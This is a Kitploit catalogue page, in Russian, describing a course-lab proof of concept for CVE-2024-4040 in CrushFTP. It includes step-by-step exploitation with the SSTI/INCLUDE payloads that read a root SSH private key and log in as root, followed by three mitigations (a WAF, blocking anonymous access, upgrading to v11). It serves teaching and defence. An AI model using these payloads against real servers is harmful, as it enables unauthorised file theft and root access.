Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
CrushFTP-SSTI-LFI-Proof-of-Concept — Доказательство концепции для CVE-2024-4040 (CrushFTP SSTI -> unauthenticated LFI) в контролируемой лабораторной среде CS443 - только для образовательного/авторизованного использования. | Kitploit
Инструменты/GitHubGitHub/cthhhhhh/crushftp-ssti-lfi-proof-of-concept
Анализ уязвимостейЭксплуатацияЭксплуатация веб-приложенийCTFТестирование на ПроникновениеОбучение и ОбразованиеЛаборатории и Практика
GitHubcthhhhhh/crushftp-ssti-lfi-proof-of-concept

CrushFTP-SSTI-LFI-Proof-of-Concept

Доказательство концепции для CVE-2024-4040 (CrushFTP SSTI -> unauthenticated LFI) в контролируемой лабораторной среде CS443 - только для образовательного/авторизованного использования.

Репозиторий
24 месяцев назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

CVE-2024-4040 — PoC для CrushFTP SSTI / LFI

Только для образовательных целей и использования в авторизованных лабораториях.
CS443 Безопасность программного обеспечения и систем — контролируемое локальное окружение Docker.


Сводка по уязвимости

ПолеПодробности
CVECVE-2024-4040
Затронутое ПОCrushFTP < 10.7.1 (ветка v10) / < 11.1.0 (ветка v11)
Тип уязвимостиServer-Side Template Injection (SSTI) → Неавторизованное чтение локальных файлов
Оценка CVSS9.8 Critical
ВоздействиеНеавторизованные атакующие могут читать произвольные файлы из файловой системы сервера

WebInterface CrushFTP вычисляет шаблонные выражения в параметре path команды zip без санитарии. Неавторизованный атакующий может получить анонимные куки сессии, а затем использовать их для передачи шаблонных нагрузок ({working_dir}, <INCLUDE>…</INCLUDE>), которые сервер обрабатывает и возвращает — что позволяет читать произвольные файлы на хосте.


Лабораторное окружение

КомпонентЗначение
Targethttp://localhost:8080
Базовая версия PoC CrushFTP10.3.0 (с намеренной уязвимостью)
Среда тестирования Mitigation 3Отдельный контейнер с CrushFTP 11.x (исправленная ветка)
SSH Port (container)2222 → 22
Admin Credentialsadmin / admin
Среда выполнения контейнераDocker (Compose)

Предварительные требования

root@kitploit:~
pip install requests rich

Скрипты

СкриптИсточникНазначение
crushed.pyStuub/CVE-2024-4040-SSTI-LFI-PoCПолный эксплойт SSTI/LFI — кража сессии, чтение произвольных файлов
recon.pyЭтот репозиторийОбнаружение версии, проверка SSTI в реальном времени, подтверждение уязвимости

Прохождение PoC

Шаг 1 — Запуск лаборатории

root@kitploit:~
docker-compose up -d

Подождите около 10 секунд, чтобы CrushFTP полностью инициализировался, прежде чем запускать скрипты. Отдельный шаг разведки здесь не требуется, так как crushed.py сам проверяет возможность эксплуатации во время выполнения.


Шаг 2 — Кража закрытого ключа SSH через LFI

root@kitploit:~
python crushed.py -t http://localhost:8080 -l /root/.ssh/id_rsa

Скрипт выполнит:

  1. Получит анонимную сессию CrushAuth / currentAuth из /WebInterface/
  2. Использует SSTI для подтверждения вычисления шаблона и утечки имени хоста сервера
  3. Использует {working_dir} для определения каталога установки CrushFTP
  4. Использует <INCLUDE>/root/.ssh/id_rsa</INCLUDE> для чтения целевого файла
  5. Выведет необработанное содержимое файла в stdout

Скопируйте блок закрытого ключа из вывода (всё от -----BEGIN OPENSSH PRIVATE KEY----- до -----END OPENSSH PRIVATE KEY-----).


Шаг 3 — Сохранение украденного ключа

root@kitploit:~
cat > stolen_id_rsa << 'EOF'
-----BEGIN OPENSSH PRIVATE KEY-----
<paste key from output>
-----END OPENSSH PRIVATE KEY-----
EOF

chmod 600 stolen_id_rsa

Шаг 4 — SSH в контейнер как root

root@kitploit:~
ssh -i stolen_id_rsa root@localhost -p 2222 -o StrictHostKeyChecking=no

Шаг 5 — Подтверждение доступа root

root@kitploit:~
whoami
# Expected: root

id
# Expected: uid=0(root) gid=0(root) groups=0(root)

hostname
# Expected: <container_id>

Диаграмма цепочки атаки

root@kitploit:~
Unauthenticated attacker
        │
        ▼
GET /WebInterface/          ← obtains anonymous CrushAuth + currentAuth cookies
        │
        ▼
POST /WebInterface/function/
  ?command=zip
  &path={hostname}          ← SSTI confirmed — template evaluated by server
        │
        ▼
POST /WebInterface/function/
  ?command=zip
  &path={working_dir}       ← leaks absolute installation path
        │
        ▼
POST /WebInterface/function/
  ?command=zip
  &path=<INCLUDE>/root/.ssh/id_rsa</INCLUDE>   ← arbitrary file read
        │
        ▼
SSH -i stolen_id_rsa root@localhost -p 2222    ← full root shell

Известные ключевые проблемы в crushed.py

ПроблемаРасположениеПодробности
Отсутствующая зависимостьСтроки 6–9Требуется pip install rich перед запуском
Хрупкий синтаксический анализ XMLСтроки 86, 140Падает при ответах сервера, не являющихся XML; нет обработки ParseError
Слишком строгое регулярное выражение для токенаСтроки 160–161Шаблон CrushAuth=…; currentAuth=… может не соответствовать всем форматам sessions.obj
Только HTTP 404Строка 53Захват куки срабатывает только при 404; при других кодах состояния молча пропускается

Стратегии смягчения

Смягчение 1 — Межсетевой экран веб-приложений (NGINX + ModSecurity)

Обзор

WAF действует как обратный прокси, который проверяет входящий HTTP/S-трафик перед тем, как он достигнет CrushFTP. Используя NGINX с ModSecurity, вредоносные запросы, эксплуатирующие CVE-2024-4040, блокируются на сетевой границе без изменения самого CrushFTP.

Как это смягчает CVE-2024-4040

  • Блокирует шаблоны обхода каталогов (например, ../, %2e%2e) в URI запросов и куки
  • Предотвращает попадание неавторизованных запросов на побег VFS в CrushFTP
  • Логирует и отклоняет подозрительные нагрузки до того, как они достигнут приложения

Настройка Docker

Используйте Mitigation 1/docker-compose.yaml:

root@kitploit:~
services:
  crushftp:
    build: .
    expose:
      - "8080"
    ports:
      - "2222:22"

  nginx:
    image: nginx:latest
    ports:
      - "8080:80"
    volumes:
      - ./nginx.conf:/etc/nginx/nginx.conf
    depends_on:
      - crushftp

Конфигурация NGINX

Используйте Mitigation 1/nginx.conf:

root@kitploit:~
worker_processes 1;

events {
    worker_connections 1024;
}

http {
    # Enable ModSecurity
    modsecurity on;
    modsecurity_rules_file /etc/modsecurity.d/setup.conf;

    upstream crushftp {
        server crushftp:8080;
    }

    server {
        listen 80;
        server_name localhost;

        # Proxy all traffic to CrushFTP
        location / {
            proxy_pass http://crushftp;
            proxy_set_header Host $host;
            proxy_set_header X-Real-IP $remote_addr;
            proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
            proxy_set_header X-Forwarded-Proto $scheme;
        }

        # Return 403 for blocked requests
        error_page 403 /403.html;
        location = /403.html {
            return 403 '{"error": "Request blocked by WAF"}';
        }
    }
}

Поток трафика

root@kitploit:~
Attacker -> NGINX WAF (port 80) -> blocks malicious -> 403 Forbidden
                             -> forwards clean -> CrushFTP:8080

Ограничения

  • Не исправляет первопричину — CrushFTP остаётся уязвимым, если WAF обойдён
  • Требует обновления правил по мере того, как атакующие разрабатывают методы обфускации

Смягчение 2 — Отключение доступа анонимных пользователей

Обзор

CVE-2024-4040 эксплуатируется без аутентификации. В этой лаборатории анонимный доступ блокируется на уровне NGINX путём требования заголовка Authorization перед проксированием чувствительных маршрутов к CrushFTP.

Как это смягчает CVE-2024-4040

  • Скрипты эксплойтов, такие как crushed.py, полагаются на неавторизованный доступ; запросы без учётных данных отклоняются с кодом 401
  • Запросы к /WebInterface/ и / отклоняются, если отсутствуют данные аутентификации
  • Снижает подверженность уязвимых конечных точек неавторизованным пользователям

Настройка Docker (Точно из Mitigation 2/docker-compose.yaml)

root@kitploit:~
services:
  crushftp:
    build: .
    expose:
      - "8080"
    ports:
      - "2222:22"

  nginx:
    image: nginx:latest
    ports:
      - "8080:80"
    volumes:
      - ./nginx.conf:/etc/nginx/nginx.conf
    depends_on:
      - crushftp

Политика NGINX (Точно из Mitigation 2/nginx.conf)

root@kitploit:~
events {}
http {
  server {
    listen 80;

    # Allow static assets unauthenticated
    location ~* \.(css|js|png|jpg|ico|gif)$ {
      proxy_pass http://crushftp:8080;
      proxy_set_header Host $host;
    }

    # Block unauthenticated access to WebInterface
    location /WebInterface/ {
      if ($http_authorization = "") {
        return 401 "Authentication Required - Anonymous sessions disabled";
      }
      proxy_pass http://crushftp:8080;
      proxy_set_header Host $host;
      proxy_set_header X-Real-IP $remote_addr;
      proxy_set_header Authorization $http_authorization;
    }

    # Block everything else unauthenticated
    location / {
      if ($http_authorization = "") {
        return 401 "Authentication Required";
      }
      proxy_pass http://crushftp:8080;
      proxy_set_header Host $host;
      proxy_set_header X-Real-IP $remote_addr;
    }
  }
}

Проверка через Docker

root@kitploit:~
# Confirm unauthenticated request is rejected by NGINX
curl -v http://localhost:8080/WebInterface/function/?command=getUsername
# Expected: 401 Unauthorized

# Optional: authenticated request should be forwarded
curl -v -u "admin:admin" http://localhost:8080/WebInterface/function/?command=getUsername

Ограничения

  • Не исправляет основную уязвимость; авторизованные пользователи всё ещё могут быть под угрозой, если логика эксплойта будет адаптирована
  • Принудительное применение зависит от размещения прокси и корректной обработки заголовков перед CrushFTP

Смягчение 3 — Обновление до CrushFTP версии 11

Обзор

Обновление до CrushFTP 11 — это наиболее эффективное и постоянное исправление. Патч добавляет строгую проверку входных данных при разрешении путей VFS, устраняя первопричину CVE-2024-4040.

Как это смягчает CVE-2024-4040

  • Обеспечивает строгую изоляцию путей VFS — попытки побега отклоняются на уровне приложения
  • Скрипты эксплойтов, такие как crushed.py, больше не работают против версии 11
  • Исправление применяется на уровне исходного кода, а не маскируется внешними средствами контроля

Реализация

Обновите ваш Dockerfile для использования CrushFTP 11:

root@kitploit:~
FROM eclipse-temurin:21-jdk-jammy
WORKDIR /var/opt

RUN apt-get update -y && apt-get -y install unzip wget openssh-server

COPY CrushFTP11.zip .
RUN unzip CrushFTP11.zip

EXPOSE 21
EXPOSE 8080
EXPOSE 443
EXPOSE 22

WORKDIR /var/opt/CrushFTP11
RUN java -Xmx1024m -jar CrushFTP.jar -a "admin" "admin"

CMD service ssh start && java -Xmx1024m -jar CrushFTP.jar -d

Пересоберите контейнер:

root@kitploit:~
docker-compose down --rmi all
docker-compose build --no-cache
docker-compose up -d

Проверка работы патча

root@kitploit:~
# Run the exploit against v11 - should fail
# Note: this repository's script uses -t/--target.
python3 crushed.py -t http://localhost:8080

# Expected: exploit returns no output or connection error
Скачать инструмент